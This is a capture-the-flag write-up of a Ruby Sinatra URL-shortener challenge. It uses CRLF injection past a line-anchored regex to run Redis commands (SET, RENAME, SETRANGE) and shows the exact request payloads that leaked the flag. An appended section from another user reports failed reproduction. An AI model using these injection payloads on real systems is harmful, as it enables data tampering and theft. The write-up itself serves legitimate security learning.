Tags: web redis crlf-injection
Rating: 5.0
# ▼▼▼urlapp(Web, 426pts, 32/432=7.4%)▼▼▼
This writeup is written by [**@kazkiti_ctf**](https://twitter.com/kazkiti_ctf)
※Number of teams that answered one or more questions, **excluding Survey and Welcome**: 218
⇒32/218=14.8%
---
## 【Check source code】
### 1.docker-compose.yaml
```
version: '3'
services:
redis:
image: redis:5
command: "redis-server /redis.conf"
volumes:
- "${PWD}/challenge/redis.conf:/redis.conf"
ports:
- 6379:6379
app:
build: .
ports:
- 8004:4567
```
↓
The redis server may have open ports to the outside. (may be blocked by WAF)
↓
**(Try 1)**
`redis-cli -h 3.112.201.75 -p 6379`
↓
Can not connect. It is prevented by WAF...
---
### 2.Dockerfile
```
FROM ruby:2.7
RUN mkdir /app
WORKDIR app
ADD challenge/Gemfile Gemfile
ADD challenge/Gemfile.lock Gemfile.lock
RUN bundle install
ADD challenge/app.rb app.rb
ADD challenge/index.html index.html
ADD challenge/flag.txt flag.txt
CMD bundle exec ruby app.rb -s WEBrick -e production -p 4567
```
↓
Find flag location.
---
### 3.app.rb
```
require 'sinatra'
require 'uri'
require 'socket'
def connect()
sock = TCPSocket.open("redis", 6379)
if not ping(sock) then
exit
end
return sock
end
def query(sock, cmd)
sock.write(cmd + "\r\n")
end
def recv(sock)
data = sock.gets
if data == nil then
return nil
elsif data[0] == "+" then
return data[1..-1].strip
elsif data[0] == "$" then
if data == "$-1\r\n" then
return nil
end
return sock.gets.strip
end
return nil
end
def ping(sock)
query(sock, "ping")
return recv(sock) == "PONG"
end
def set(sock, key, value)
query(sock, "SET #{key} #{value}")
return recv(sock) == "OK"
end
def get(sock, key)
query(sock, "GET #{key}")
return recv(sock)
end
before do
sock = connect()
set(sock, "flag", File.read("flag.txt").strip)
end
get '/' do
if params.has_key?(:q) then
q = params[:q]
if not (q =~ /^[0-9a-f]{16}$/)
return
end
sock = connect()
url = get(sock, q)
redirect url
end
send_file 'index.html'
end
post '/' do
if not params.has_key?(:url) then
return
end
url = params[:url]
if not (url =~ URI.regexp) then
return
end
key = Random.urandom(8).unpack("H*")[0]
sock = connect()
set(sock, key, url)
"#{request.host}:#{request.port}/?q=#{key}"
end
```
---
## 【Goal】
```
before do
sock = connect()
set(sock, "flag", File.read("flag.txt").strip)
end
```
↓
The flag is stored in redis and is initialized at each access.
---
## 【Vulnerability identification】
```
get '/' do
if params.has_key?(:q) then
q = params[:q]
if not (q =~ /^[0-9a-f]{16}$/)
return
end
sock = connect()
url = get(sock, q)
redirect url
end
send_file 'index.html'
end
```
↓
In Ruby, regular expressions can be bypassed by **CRLF injection**.
In Redis, NoSQL Injection vulnerability by **CRLF injection**.
---
**(Try 2)** In Ruby, regular expressions can be bypassed by CRLF injection.
try to get the flag in redis.
↓
`GET /?q=flag%0a0000000000000000` ⇒ No response!!
↓
Since Dockerfile is given, build the environment and check the log.
```
11.108.19.80 - - [08/Mar/2020:04:51:05 +0000] "GET /?q=flag%0a0000000000000000 HTTP/1.1" 302 - 0.0019
[2020-03-08 04:51:05] ERROR URI::InvalidURIError: bad URI(is not URI?): "http://my_server/flag{secret}"
/usr/local/lib/ruby/2.7.0/uri/rfc3986_parser.rb:67:in `split'
/usr/local/lib/ruby/2.7.0/uri/rfc3986_parser.rb:73:in `parse'
/usr/local/lib/ruby/2.7.0/uri/rfc3986_parser.rb:117:in `convert_to_uri'
/usr/local/lib/ruby/2.7.0/uri/generic.rb:1101:in `merge'
/usr/local/lib/ruby/2.7.0/webrick/httpresponse.rb:298:in `setup_header'
/usr/local/bundle/gems/rack-2.2.2/lib/rack/handler/webrick.rb:17:in `setup_header'
/usr/local/lib/ruby/2.7.0/webrick/httpresponse.rb:225:in `send_response'
/usr/local/lib/ruby/2.7.0/webrick/httpserver.rb:112:in `run'
/usr/local/lib/ruby/2.7.0/webrick/server.rb:307:in `block in start_thread'
```
↓
Flag can be obtained from redis.
After the value is reflected in the **Location header**, it seems that **No Response** is caused by **{** and **}**.
---
**(Try 3)** In Redis, NoSQL Injection vulnerability by CRLF injection.
Try running the redis command **'set test test'**.
↓
```
POST / HTTP/1.1
Host: 3.112.201.75:8004
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
url=%0aset%20test%20test$0a0000000000000000
```
↓
`GET /?q=test%0a0000000000000000` ⇒ `Location: http://3.112.201.75:8004/test`
↓
It was confirmed that **the set command could be executed.**
---
## 【Consider how to get redis flag?】
**Method 1:** Save the flag once in another location and update the flag so that the flag is not overwritten
**Method 2:** If there is a sleep() function, etc., get the time difference
**Method 3:** Arbitrary code can be executed and data is sent to the outside with a command like curl
↓
As a result solved by **method 1**.
---
## 【Investigation of redis function】
I found a command that could be used.
**"RENAME"** : Change the key name
**"SETRANGE"** : Change the number of characters from the beginning to the specified value
---
## 【Investigation using two functions】
```
GET /?q=kazkiti3%0a0000000000000000 ⇒Location: http://3.112.201.75:8004/ ※Confirm that kazkiti3 is not used
GET /?q=%0aRENAME%20flag%20kazkiti3%0a0000000000000000 ⇒Location: http://3.112.201.75:8004/
GET /?q=kazkiti3%0a0000000000000000 ⇒No response
```
↓
**"RENAME"** is enabled, and it seems that kazkiti3 is set with flag.
---
flag format is zer0pts{???????}.
↓
Since the beginning is 0th, **"{"** is the **7th**.
---
### (Check the character length of flag)
Use **"SETRANGE"** to change to **"1"** from the beginning
↓
```
GET /?q=kazkiti3%0aSETRANGE%20kazkiti3%207%201%0a0000000000000000 ⇒No response
GET /?q=kazkiti3%0aSETRANGE%20kazkiti3%208%201%0a0000000000000000 ⇒No response
GET /?q=kazkiti3%0aSETRANGE%20kazkiti3%209%201%0a0000000000000000 ⇒No response
・・・(Omitted)・・・
GET /?q=kazkiti3%0aSETRANGE%20kazkiti3%2034%201%0a0000000000000000 ⇒No response
GET /?q=kazkiti3%0aSETRANGE%20kazkiti3%2035%201%0a0000000000000000 ⇒No response
GET /?q=kazkiti3%0aSETRANGE%20kazkiti3%2036%201%0a0000000000000000 ⇒Location: http://3.112.201.75:8004/zer0pts111111111111111111111111111111
```
↓
flag seems to be **36 characters!!**
---
## 【exploit】
```
GET /?q=kazkiti3%0a0000000000000000
GET /?q=%0aRENAME%20flag%20kazkiti3%0a0000000000000000
GET /?q=kazkiti3%0aSETRANGE%20kazkiti3%207%201%0a0000000000000000
GET /?q=kazkiti3%0aSETRANGE%20kazkiti3%2035%201%0a0000000000000000 ※I changed it to 35 because it is 36 characters.
GET /?q=kazkiti3%0a0000000000000000 ⇒Location: http://3.112.201.75:8004/zer0pts1sh0rt_t0_10ng_10ng_t0_sh0rt1
```
↓
`zer0pts1sh0rt_t0_10ng_10ng_t0_sh0rt1`
↓
`zer0pts{sh0rt_t0_10ng_10ng_t0_sh0rt}`
I build `docker with docker-compose.yml`.The redis docker
```
127.0.0.1:6379> rename xxx 213;
(error) ERR unknown command `rename`, with args beginning with: `xxx`, `213;`,
127.0.0.1:6379> rename xxx 213
(error) ERR unknown command `rename`, with args beginning with: `xxx`, `213`,
127.0.0.1:6379> rename xxx sdad
(error) ERR unknown command `rename`, with args beginning with: `xxx`, `sdad`,
127.0.0.1:6379> get xxx
```
I don't know what happen
and burp send
```
GET /?q=kazkiti3%0aSET%20test%20test123%0a0000000000000000 HTTP/1.1
Host: 39.108.36.103:8002
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/80.0.3987.87 Chrome/80.0.3987.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
```
It return '<h1>Internal Server Error</h1>'